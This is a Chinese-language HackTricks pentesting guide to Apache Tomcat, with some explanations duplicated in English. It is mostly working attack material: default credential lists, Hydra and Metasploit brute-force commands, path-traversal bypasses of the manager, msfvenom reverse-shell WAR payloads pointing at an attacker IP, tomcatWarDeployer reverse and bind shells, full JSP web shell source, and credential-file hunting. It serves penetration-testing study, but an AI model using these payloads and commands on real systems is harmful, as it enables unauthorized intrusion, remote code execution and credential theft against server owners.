17 KiB
Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
发现
- 它通常运行在端口8080
- 常见的Tomcat错误:
枚举
版本
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
定位管理文件
有趣的是找到页面 /manager
和 /host-manager
的位置,因为它们可能有不同的名称。你可以使用暴力破解来搜索它们。
用户名枚举
在某些 Tomcat6 之前的版本中,你可以枚举用户:
msf> use auxiliary/scanner/http/tomcat_enum
默认凭据
Tomcat中最有趣的路径是_/manager/html_,在这个路径下,你可以上传和部署war文件(执行代码)。但是这个路径受基本的HTTP身份验证保护,最常见的凭据有:
- admin:admin
- tomcat:tomcat
- admin:<NOTHING>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
你可以使用以下命令测试这些凭据和更多凭据:
msf> use auxiliary/scanner/http/tomcat_mgr_login
另一个有趣的Tomcat路径是/manager/status
,您可以在此处查看操作系统和Tomcat的版本。当您无法访问/manager/html
时,这对于查找影响Tomcat版本的漏洞非常有用。
暴力破解
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
Vulns
密码回溯泄露
尝试访问/auth.jsp
,如果你非常幸运,它可能会在回溯中泄露密码。
双URL编码
一个众所周知的漏洞是使用CVE-2007-1860中的mod_jk来访问应用程序管理器,它允许双URL编码路径遍历。
为了访问Tomcat的管理Web界面,请转到:pathTomcat/%252E%252E/manager/html
请注意,为了上传Webshell,您可能需要使用双URL编码技巧,并发送一个cookie和/或SSRF令牌。
为了访问后门,您可能还需要使用双URL编码技巧。
/examples
以下示例脚本随Apache Tomcat v4.x - v7.x一起提供,并可供攻击者获取有关系统的信息。这些脚本也已知容易受到跨站脚本攻击(XSS)注入的攻击(来自这里)。
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
路径遍历(..;/)
在一些Tomcat的易受攻击配置中,您可以使用路径/..;/
访问Tomcat中的受保护目录。
因此,例如,您可以通过访问www.vulnerable.com/lalala/..;/manager/html
来访问Tomcat管理器页面。
使用此技巧绕过受保护路径的另一种方法是访问http://www.vulnerable.com/;param=value/manager/html
RCE
最后,如果您可以访问Tomcat Web应用程序管理器,您可以上传和部署.war文件(执行代码)。
限制
只有当您拥有足够的权限(角色:admin,manager和manager-script)时,您才能部署WAR。这些详细信息通常在/usr/share/tomcat9/etc/tomcat-users.xml
中定义(版本可能有所不同)(参见POST部分)。
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
Metasploit是一款广泛使用的渗透测试工具,用于发现和利用网络服务的漏洞。它提供了一个强大的框架,使渗透测试人员能够自动化执行各种攻击,包括远程代码执行、提权、漏洞利用等。Metasploit还提供了一个广泛的漏洞数据库,其中包含了各种已知的漏洞和利用模块,使渗透测试人员能够快速找到并利用目标系统上的漏洞。
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom反向Shell
MSFVenom是Metasploit Framework的一部分,它是一个用于生成恶意软件有效载荷的工具。使用MSFVenom,我们可以生成一个反向Shell,以便在目标系统上建立一个远程连接。
以下是生成MSFVenom反向Shell的命令:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war
在上述命令中,我们使用java/jsp_shell_reverse_tcp
有效载荷来生成反向Shell。LHOST
参数用于指定攻击者的IP地址,LPORT
参数用于指定攻击者监听的端口。生成的反向Shell将保存为shell.war
文件。
一旦我们成功生成了反向Shell,我们可以将其部署到目标系统上的Tomcat服务器中。当目标系统上的Tomcat服务器启动时,它将尝试与攻击者的IP地址和端口建立连接,从而建立一个远程Shell会话。
请注意,使用反向Shell进行未经授权的访问是非法的,并且可能会导致严重的法律后果。本书仅旨在提供有关网络安全的知识,并强调合法和道德的使用。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
然后,上传revshell.war
文件并访问它(/revshell/)
使用tomcatWarDeployer.py进行绑定和反向shell
在某些情况下,这种方法不起作用(例如旧版本的sun)
下载
git clone https://github.com/mgeeky/tomcatWarDeployer.git
反向 shell
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands.
To create a reverse shell, the attacker needs to set up a listener on their machine and then exploit a vulnerability on the target machine to establish the connection. Once the connection is established, the attacker can interact with the target machine's shell and execute commands as if they were physically present on the machine.
Reverse shells are commonly used in penetration testing and hacking scenarios to gain unauthorized access to a target machine. They can be used to bypass firewalls and other security measures, as the connection is initiated from the inside of the target network.
反向 shell
反向 shell 是一种 shell,其中目标机器发起与攻击者机器的连接。这使得攻击者能够远程访问目标机器并执行命令。
要创建一个反向 shell,攻击者需要在他们的机器上设置一个监听器,然后利用目标机器上的漏洞建立连接。一旦连接建立,攻击者就可以与目标机器的 shell 进行交互,并像他们实际上在机器上一样执行命令。
反向 shell 在渗透测试和黑客攻击场景中常被用于未经授权访问目标机器。它们可以用于绕过防火墙和其他安全措施,因为连接是从目标网络内部发起的。
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
绑定 shell
A bind shell is a type of shell that listens for incoming connections on a specific port. When a connection is established, the bind shell provides a command-line interface to interact with the target system. This can be useful for remote administration or for launching further attacks.
一个绑定 shell 是一种在特定端口上监听传入连接的 shell。当建立连接时,绑定 shell 提供一个命令行界面,用于与目标系统进行交互。这对于远程管理或发起进一步的攻击非常有用。
To create a bind shell, an attacker typically exploits a vulnerability in a network service, such as a web server or an FTP server, to gain unauthorized access to the target system. Once access is obtained, the attacker can execute a command that starts a shell listening on a specific port.
为了创建一个绑定 shell,攻击者通常利用网络服务中的漏洞(如 Web 服务器或 FTP 服务器)来获取对目标系统的未经授权访问。一旦获得访问权限,攻击者可以执行一个命令,在特定端口上启动一个监听 shell。
Once the bind shell is active, the attacker can connect to it using a tool like Netcat or Telnet. This allows the attacker to execute commands on the target system and potentially gain full control over it.
一旦绑定 shell 激活,攻击者可以使用 Netcat 或 Telnet 等工具连接到它。这使得攻击者可以在目标系统上执行命令,并有可能完全控制它。
It is important to note that using bind shells for unauthorized access to systems is illegal and unethical. This information is provided for educational purposes only, to help understand the techniques used by attackers and to better defend against them.
需要注意的是,未经授权地使用绑定 shell 访问系统是非法和不道德的。这些信息仅供教育目的,以帮助理解攻击者使用的技术,并更好地防御它们。
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
使用Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
手动方法 - Web shell
创建名为 index.jsp 的文件,并使用以下内容:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
您还可以安装这个(允许上传、下载和执行命令):http://vonloesch.de/filebrowser.html
手动方法2
获取一个JSP Web Shell,比如这个,并创建一个WAR文件:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Tomcat凭据文件的名称是 tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
其他收集Tomcat凭据的方法:
-
弱密码攻击:使用常见的弱密码列表或字典攻击Tomcat管理员账户。这种方法依赖于用户使用弱密码的习惯。
-
默认凭据:尝试使用Tomcat默认的用户名和密码进行登录。默认的用户名是"admin",密码为空。
-
字典攻击:使用自定义的字典文件,包含常见的用户名和密码组合,进行暴力破解攻击。
-
社交工程:通过与目标用户进行交流,获取他们的凭据信息。这可以通过钓鱼攻击、欺骗或其他社交工程技术来实现。
-
漏洞利用:利用已知的Tomcat漏洞,如弱密码存储、目录遍历、身份验证绕过等,来获取凭据信息。
-
网络嗅探:使用网络嗅探工具,如Wireshark,捕获Tomcat登录过程中的凭据信息。
-
暴力破解:使用暴力破解工具,如Hydra或Medusa,对Tomcat进行凭据破解。
请注意,使用这些方法进行未经授权的凭据收集是非法的,只能在合法的渗透测试或授权的安全评估活动中使用。
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
其他Tomcat扫描工具
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。